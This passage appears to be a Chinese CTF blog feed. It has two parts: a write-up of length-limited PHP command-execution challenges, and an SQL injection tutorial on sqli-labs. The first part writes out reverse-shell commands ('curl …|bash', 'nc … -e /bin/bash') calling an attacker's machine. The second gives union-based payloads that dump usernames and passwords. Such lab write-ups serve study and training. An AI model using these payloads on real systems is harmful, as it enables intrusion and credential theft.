style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#998418;--shiki-dark:#B8A965\">str_replace</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"/</span><span style=\"color:#AB5E3F;--shiki-dark:#C4704F\">\\</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">*</span><span style=\"color:#AB5E3F;--shiki-dark:#C4704F\">|\\?|</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">/\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">=====</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">argv</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    return</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">if</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">isset</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">cmd</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">]</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x26;&#x26;</span><span style=\"color:#998418;--shiki-dark:#B8A965\">strlen</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">cmd</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">]</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">5</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">    exec</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#59873A;--shiki-dark:#80A665\">filter</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">cmd</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">]</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">else</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">    echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">flag in local path flag file!!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span></span></code></pre>\n<p>由于长度为5的限制，导致<code>ls -t&gt;a</code>无法使用，并且如果写为文件名为空格的话也只能写一次，因为文件名不能重复<code>&gt;\\ \\\\</code>（长度刚好为5），所以需要更换期望执行的命令：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>curl 192.168.1.161|bash</span></span></code></pre>\n<p>同时还需要kali开启一个web服务默认index.html页面内容为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>nc 192.168.1.161 -e /bin/bash</span></span></code></pre>\n<p>然后执行curl命令就会下载默认页面的html内容并通过管道符交给bash执行，那么此时kali再开启监听就能看到命令执行的结果</p>\n<p>不过由于无法使用<code>ls -t&gt;a</code>，那我们首先还需要构造这一串命令：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>>ls\\\\</span></span>\n<span class=\"line\"><span>ls>_</span></span>\n<span class=\"line\"><span>//由于默认排序ls\\\\会被排在最后面，所以就需要把他写入到名字为_的文件里面</span></span>\n<span class=\"line\"><span>>\\ \\\\</span></span>\n<span class=\"line\"><span>>-t\\\\</span></span>\n<span class=\"line\"><span>>\\>y</span></span>\n<span class=\"line\"><span>ls>>_</span></span>\n<span class=\"line\"><span>//采用追加>>的写法将剩下的命令写入_</span></span></code></pre>\n<p>然后就是构造命令了：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>>bash</span></span>\n<span class=\"line\"><span>>\\|\\\\</span></span>\n<span class=\"line\"><span>>61\\\\</span></span>\n<span class=\"line\"><span>>1\\\\</span></span>\n<span class=\"line\"><span>>1.\\\\</span></span>\n<span class=\"line\"><span>>68\\\\</span></span>\n<span class=\"line\"><span>>2.\\\\</span></span>\n<span class=\"line\"><span>>19\\\\</span></span>\n<span class=\"line\"><span>>\\ \\\\</span></span>\n<span class=\"line\"><span>>rl\\\\</span></span>\n<span class=\"line\"><span>>cu\\\\</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>sh _</span></span>\n<span class=\"line\"><span>//实际上就是执行ls -t>y</span></span>\n<span class=\"line\"><span>sh y</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>touch index.html</span></span>\n<span class=\"line\"><span>vim index.html</span></span>\n<span class=\"line\"><span>//在index.html里面写入：nc 192.168.1.161 7777 -e /bin/bash</span></span>\n<span class=\"line\"><span>python -m http.server 80</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>//这个是创建index.html页面</span></span></code></pre>\n<h2 id=\"长度为4\"><a class=\"anchor\" href=\"#长度为4\">#</a> 长度为4</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">error_reporting</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">0</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">function</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> filter</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">argv</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#998418;--shiki-dark:#B8A965\">str_replace</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"/</span><span style=\"color:#AB5E3F;--shiki-dark:#C4704F\">\\</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">*</span><span style=\"color:#AB5E3F;--shiki-dark:#C4704F\">|\\?|</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">/\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">=====</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">argv</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    return</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">if</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">isset</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">cmd</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">]</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x26;&#x26;</span><span style=\"color:#998418;--shiki-dark:#B8A965\">strlen</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">cmd</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">]</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">4</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">    exec</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#59873A;--shiki-dark:#80A665\">filter</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">cmd</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">]</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">else</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">    echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">flag in local path flag file!!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span></span></code></pre>\n<p>长度为4导致<code>ls&gt;&gt;_</code>不能使用</p>\n<p>首先还是需要构造ls -t&gt;g，其次我们需要构造反弹shell：curl 192.168.1.161|bash的变形：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>curl 0xC0A801A1|bash //IP地址的的十六进制</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>dir 按列输出文件名，不换行</span></span>\n<span class=\"line\"><span>* 相当于$(dir *)</span></span>\n<span class=\"line\"><span>//*如果第一个文件名是命令的话就会执行命令，返回执行的结果，之后的文件名作为参数传入</span></span>\n<span class=\"line\"><span>rev 可以反转文件每一行的内容</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>>g\\></span></span>\n<span class=\"line\"><span>>ht-</span></span>\n<span class=\"line\"><span>//加上h不影响命令ls -th的执行，但是可以让生成的文件名ht-排列在sl前面</span></span>\n<span class=\"line\"><span>>sl</span></span>\n<span class=\"line\"><span>>dir</span></span>\n<span class=\"line\"><span>*>v</span></span>\n<span class=\"line\"><span>//这里cat v会看到：g> ht- sl，所以需要把他们写入文件使用rev v，但长度为5</span></span>\n<span class=\"line\"><span>>rev</span></span>\n<span class=\"line\"><span>*v>x</span></span>\n<span class=\"line\"><span>//这里的*为通配符，前可以匹配rev，后可以执行v</span></span>\n<span class=\"line\"><span>//最后x的内容就是ls -th >g</span></span></code></pre>\n<p><strong>同时为了防止g后面有其它文件名造成影响，可以多创建一个文件<code>g\\;</code>用<code>;</code>去隔断后面字符的影响</strong></p>\n<p>然后就是创建curl命令的文件了，最后执行：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>sh x</span></span>\n<span class=\"line\"><span>sh g</span></span></code></pre>\n<p>与限制长度为5一样需要kali开启index.html</p>\n",
            "tags": []
        },
        {
            "id": "https://zlaryy.top/2026/02/22/SQL/",
            "url": "https://zlaryy.top/2026/02/22/SQL/",
            "title": "SQL",
            "date_published": "2026-02-22T06:50:00.000Z",
            "content_html": "<h1 id=\"sql\"><a class=\"anchor\" href=\"#sql\">#</a> SQL</h1>\n<p>所谓SQL注入，就是通过把SQL命令插入到WEB表单提交或输入域名或页面请求的 查询字符串，最终达到欺骗服务器执行恶意的SQL命令，从而进一步得到相应的数据信息。</p>\n<h1 id=\"字符型注入\"><a class=\"anchor\" href=\"#字符型注入\">#</a> 字符型注入</h1>\n<p>字符型注入需要闭合符</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">sql</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">SELECT</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> *</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> FROM</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\"> users </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">WHERE</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\"> id</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">=</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">id' </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">LIMIT</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 0</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">,</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p>提交/?id=1' and  1=1结果为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">sql</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">SELECT</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> *</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> FROM</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\"> users </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">WHERE</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\"> id</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">=</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">'1' </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">and</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 1</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">' </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">LIMIT</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 0</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">,</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p>这时候就多出来了一个'，所以我们需要用注释符（--+或%23或#）将后面的内容注释掉</p>\n<p>常见的闭合符有：'  &quot;  ')  &quot;)  其他</p>\n<p>假设我们无法查看源码的时候我们怎么判断闭合符是什么：</p>\n<p>我们可以尝试输入两种不同的闭合符：</p>\n<p><img loading=\"lazy\" src=\"/2026/02/22/SQL/1-3.png\" class=\"\" title=\"1-3\"></p>\n<p>我们传入的内容是<code>/?id=1'&quot;</code></p>\n<p>报错内容是：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\"' LIMIT 0,1' at line 1</span></span></code></pre>\n<p>其中<code>'&quot;' LIMIT 0,1'</code>就告诉我们闭合符是什么了：</p>\n<p>该报错内容首先用''单引号包裹问题地方的字符串，所以有问题地方为<code>&quot;' LIMIT 0,1</code>，这意味着我们传入的'&quot;前一个单引号成功起到了闭合作用而后一个双引号和原本的闭合符成为了出现语法错误的内容，所以闭合符为'单引号</p>\n<h1 id=\"数字型注入\"><a class=\"anchor\" href=\"#数字型注入\">#</a> 数字型注入</h1>\n<p>数字型注入不需要闭合符</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">sql</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">SELECT</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> *</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> FROM</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\"> users </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">WHERE</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\"> id</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">=</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">id </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">LIMIT</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 0</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">,</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p>提交/?id=1 and 1=1结果为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">sql</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">SELECT</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> *</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> FROM</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\"> users </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">WHERE</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\"> id</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> and</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 1</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> LIMIT</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 0</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">,</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<h1 id=\"union联合注入\"><a class=\"anchor\" href=\"#union联合注入\">#</a> Union联合注入</h1>\n<p>这里以sqli-labs的Less-1为例：</p>\n<p><img loading=\"lazy\" src=\"/2026/02/22/SQL/1-1.png\" class=\"\" title=\"1-1\"></p>\n<p>根据提示，这一关需要我们输入一个名为id的参数并且值为数字，查找注入点之后应该发现是GET型传参</p>\n<p><img loading=\"lazy\" src=\"/2026/02/22/SQL/1-2.png\" class=\"\" title=\"1-2\"></p>\n<p>经过尝试发现为字符型注入并且闭合符为'单引号</p>\n<p>union联合注入步骤如下：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?id=1' group by 4 --+ //报错     /*group by也可替换为order by*/</span></span>\n<span class=\"line\"><span>/?id=1' group by 3 --+ //成功登录</span></span>\n<span class=\"line\"><span>//判断原有的查询中列数为3</span></span>\n<span class=\"line\"><span>/?id=0' union select 1,database(),3  --+ //查询数据库名</span></span>\n<span class=\"line\"><span>/?id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 --+ //查询表名</span></span>\n<span class=\"line\"><span>/?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database()),3 --+  //查询列名</span></span>\n<span class=\"line\"><span>/?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),3 --+  //查询指定表名中的列名</span></span>\n<span class=\"line\"><span>/?id=0' union select 1,(select group_concat(username,'~',password) from users),3 --+  //查询指定表名中指定列名的内容并通过~字符连接起来</span></span></code></pre>\n<p>接下来详细解释这些 payload的一些细节：</p>\n<ol>\n<li>\n<p>为什么需要用到UNION：</p>\n<p>当我们试图通过注入查询数据库名时，通常会使用database()函数，但原有的网页代码并没有这个函数，就必须把自己的查询强行拼接到原有查询后面，这就需要用到UNION 或 UNION SELECT</p>\n</li>\n<li>\n<p>为什么需要判断列数：</p>\n<p>在SQL数据库中，参与UNION联合查询的左右两边列数必须完全一致</p>\n</li>\n<li>\n<p>为什么后面的payload需要把?id=1换为?id=0：</p>\n<p>UNION的作用是把两个独立的SELECT查询结果上下拼接成一张表，原始查询需要查id,uername,password三列，（所以判断列数为3），由于该回显只会回显第一行的内容，如果前面的查询成功执行，那么查询结果一共有两行，为我们无法看到后面的查询结果，所以需要让前一行查询失败，这样查询结果就只有一行内容，同理我们把注入结果(database()结果)放在第二列也是由于第一列没有回显</p>\n</li>\n<li>\n<p>对一些名词的解释：</p>\n<ul>\n<li>information.schema：这是MySQL5.0版本之后自带的系统数据库，里面存放有MySQL服务器上所有数据库信息</li>\n<li>.tables：这是information_schema库里面的一个具体的表，这个表记录了整个 MySQL 系统中所有的表的信息。其中有一个字段叫 